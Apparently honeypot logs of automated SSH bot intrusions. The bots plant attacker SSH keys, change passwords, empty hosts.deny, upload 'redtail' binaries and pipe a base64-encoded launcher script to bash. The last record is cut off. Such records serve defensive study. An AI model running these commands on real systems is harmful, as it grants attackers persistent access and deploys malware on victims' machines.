{"id":"825fce80-d428-4a34-899c-8c6d10ad5b44","name":"nameless-leafy-raven","protocol":"ssh","channel_kind":"sftp","src_ip":"130.12.180.51","src_port":36238,"username":"admin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-27T06:27:48.262777+00:00","ended_at":"2026-08-27T06:27:48.487552+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":1036,"events":[{"seq":1,"at":"2026-08-27T06:27:48.158037+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-27T06:27:48.305551+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/admin/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-27T06:27:48.361014+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/admin/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-27T06:27:48.485270+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/admin/setup.sh (2126 bytes)"},{"seq":5,"at":"2026-08-27T06:27:48.485790+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/admin/redtail.arm8 (1696412 bytes)"},{"seq":6,"at":"2026-08-27T06:27:48.486304+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/admin/redtail.i686 (1838060 bytes)"},{"seq":7,"at":"2026-08-27T06:27:48.486769+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/admin/redtail.riscv (1759768 bytes)"},{"seq":8,"at":"2026-08-27T06:27:48.487225+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/admin/redtail.x86_64 (1989056 bytes)"}],"credentials":[{"username":"admin","password":"admin","method":"password","accepted":true,"tier":"common"}]} {"id":"74526c11-02f0-421e-bc64-60a9b9ce3ee7","name":"gilded-glacial-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"103.143.238.100","src_port":53956,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":257,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T05:47:19.457008+00:00","ended_at":"2026-08-26T05:47:19.533615+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3807,"events":[{"seq":1,"at":"2026-08-26T05:46:55.779056+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T05:46:56.038155+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T05:46:59.312882+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T05:46:59.313348+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T05:46:59.575431+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lAfQVeGLAzYw\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T05:46:59.827673+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T05:47:00.083782+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T05:47:00.084666+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T05:47:00.209401+00:00","kind":"output","latency_ms":635,"data":""},{"seq":10,"at":"2026-08-26T05:47:00.343793+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T05:47:01.094588+00:00","kind":"output","latency_ms":749,"data":"15888 2143 12345 0 0 0"},{"seq":12,"at":"2026-08-26T05:47:01.347554+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T05:47:01.812077+00:00","kind":"output","latency_ms":464,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-26T05:47:02.062067+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T05:47:02.062533+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T05:47:02.324335+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T05:47:02.325352+00:00","kind":"output","latency_ms":null,"data":" 05:47:02 up 6 days, 2:37, 0 user, load average: 0.25, 0.2, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T05:47:02.575825+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T05:47:02.576332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T05:47:02.837127+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T05:47:02.837614+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T05:47:03.103674+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T05:47:03.104305+00:00","kind":"output","latency_ms":null,"data":"top - 05:47:03 up 6 days, 2:37, 0 user, load average: 0.25, 0.2, 0.15\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T05:47:03.359138+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T05:47:03.371998+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T05:47:03.619239+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T05:47:03.619713+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T05:47:03.866670+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T05:47:03.867407+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T05:47:04.111547+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T05:47:05.152471+00:00","kind":"output","latency_ms":1040,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-26T05:47:05.408700+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T05:47:05.748465+00:00","kind":"output","latency_ms":338,"data":"29G"},{"seq":34,"at":"2026-08-26T05:47:06.736723+00:00","kind":"input","latency_ms":null,"data":"echo \"root 12345678900987654321\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-26T05:47:06.992317+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-26T05:47:07.294733+00:00","kind":"output","latency_ms":301,"data":""},{"seq":37,"at":"2026-08-26T05:47:07.854920+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-26T05:47:08.551896+00:00","kind":"output","latency_ms":703,"data":"root 12345678900987654321"},{"seq":39,"at":"2026-08-26T05:47:08.809351+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-26T05:47:09.208560+00:00","kind":"output","latency_ms":398,"data":"root 12345678900987654321"},{"seq":41,"at":"2026-08-26T05:47:09.459320+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-26T05:47:09.714151+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-26T05:47:10.069880+00:00","kind":"output","latency_ms":355,"data":"1"},{"seq":44,"at":"2026-08-26T05:47:10.327682+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-26T05:47:10.692594+00:00","kind":"output","latency_ms":365,"data":"1"},{"seq":46,"at":"2026-08-26T05:47:10.950315+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-26T05:47:19.457666+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-26T05:47:19.458204+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"12345678900987654321","method":"password","accepted":true,"tier":"other"}]} {"id":"c0f1f91f-14eb-443c-927e-66e77cd79df1","name":"golden-genial-skink","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.224.160","src_port":56948,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":648,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T05:01:27.203810+00:00","ended_at":"2026-08-26T05:01:27.406284+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3963,"events":[{"seq":1,"at":"2026-08-26T05:00:29.624742+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T05:00:30.280132+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T05:00:36.486850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T05:00:36.488427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T05:00:37.135555+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9exLzm2gmtBl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T05:00:37.786310+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T05:00:38.009202+00:00","kind":"output","latency_ms":872,"data":""},{"seq":8,"at":"2026-08-26T05:00:38.434473+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T05:00:38.435377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T05:00:39.084919+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T05:00:39.889875+00:00","kind":"output","latency_ms":804,"data":"15888 11234 4654 0 0 0"},{"seq":12,"at":"2026-08-26T05:00:40.539045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T05:00:41.368595+00:00","kind":"output","latency_ms":828,"data":"-rwxr-xr-x 1 root root 133K Apr 23 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-26T05:00:42.017954+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T05:00:42.018684+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T05:00:42.668688+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T05:00:42.669189+00:00","kind":"output","latency_ms":null,"data":" 05:00:42 up 6 days, 1:50, 0 user, load average: 0.14, 0.13, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T05:00:43.317477+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T05:00:43.317840+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T05:00:43.965885+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T05:00:43.966570+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T05:00:44.616755+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T05:00:44.617472+00:00","kind":"output","latency_ms":null,"data":"top - 05:00:44 up 6 days, 1:50, 0 user, load average: 0.14, 0.13, 0.16\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T05:00:45.264632+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T05:00:45.266483+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T05:00:45.912220+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T05:00:45.913340+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T05:00:46.560539+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T05:00:46.561121+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T05:00:47.209114+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T05:00:48.534181+00:00","kind":"output","latency_ms":1313,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-26T05:00:49.185754+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T05:00:49.851487+00:00","kind":"output","latency_ms":668,"data":"25G"},{"seq":34,"at":"2026-08-26T05:00:55.065031+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123654\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-26T05:00:55.715026+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-26T05:00:56.080592+00:00","kind":"output","latency_ms":365,"data":""},{"seq":37,"at":"2026-08-26T05:00:58.025256+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-26T05:00:58.541357+00:00","kind":"output","latency_ms":515,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-26T05:00:59.192639+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-26T05:00:59.663911+00:00","kind":"output","latency_ms":473,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-26T05:01:00.312100+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-26T05:01:00.957523+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-26T05:01:01.406689+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-26T05:01:02.054784+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-26T05:01:02.491545+00:00","kind":"output","latency_ms":436,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-26T05:01:03.139999+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-26T05:01:03.479606+00:00","kind":"output","latency_ms":339,"data":""},{"seq":48,"at":"2026-08-26T05:01:27.204388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-26T05:01:27.205588+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123654","method":"password","accepted":true,"tier":"other"}]} {"id":"c72c6066-3a0b-45ff-9582-797fa577a4e0","name":"creaky-candid-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"172.190.51.254","src_port":54534,"username":"mysql","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":80,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T23:54:45.005639+00:00","ended_at":"2026-08-25T23:54:45.156423+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3266,"events":[{"seq":1,"at":"2026-08-25T23:54:23.017930+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T23:54:23.086630+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T23:54:25.434219+00:00","kind":"output","latency_ms":2416,"data":""},{"seq":4,"at":"2026-08-25T23:54:25.910443+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-25T23:54:25.911022+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-25T23:54:25.990599+00:00","kind":"input","latency_ms":null,"data":"echo -e \"mysql!\\nuM75QTPcuY2d\\nuM75QTPcuY2d\"|passwd|bash"},{"seq":7,"at":"2026-08-25T23:54:26.060370+00:00","kind":"input","latency_ms":null,"data":"echo \"mysql!\\nuM75QTPcuY2d\\nuM75QTPcuY2d\\n\"|passwd"},{"seq":8,"at":"2026-08-25T23:54:26.130099+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T23:54:26.131614+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T23:54:26.200621+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T23:54:27.033579+00:00","kind":"output","latency_ms":832,"data":"15888 10543 5345 412 2801 4580"},{"seq":12,"at":"2026-08-25T23:54:27.105089+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T23:54:27.631890+00:00","kind":"output","latency_ms":525,"data":"-rwxr-xr-x 1 root root 148K Apr 7 2025 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T23:54:27.708325+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T23:54:27.708806+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-25T23:54:27.787690+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T23:54:27.788356+00:00","kind":"output","latency_ms":null,"data":" 23:54:27 up 5 days, 20:44, 0 user, load average: 0.25, 0.32, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T23:54:27.858120+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T23:54:27.858835+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T23:54:27.927656+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T23:54:27.928428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T23:54:28.009215+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T23:54:28.009710+00:00","kind":"output","latency_ms":null,"data":"top - 23:54:28 up 5 days, 20:44, 0 user, load average: 0.25, 0.32, 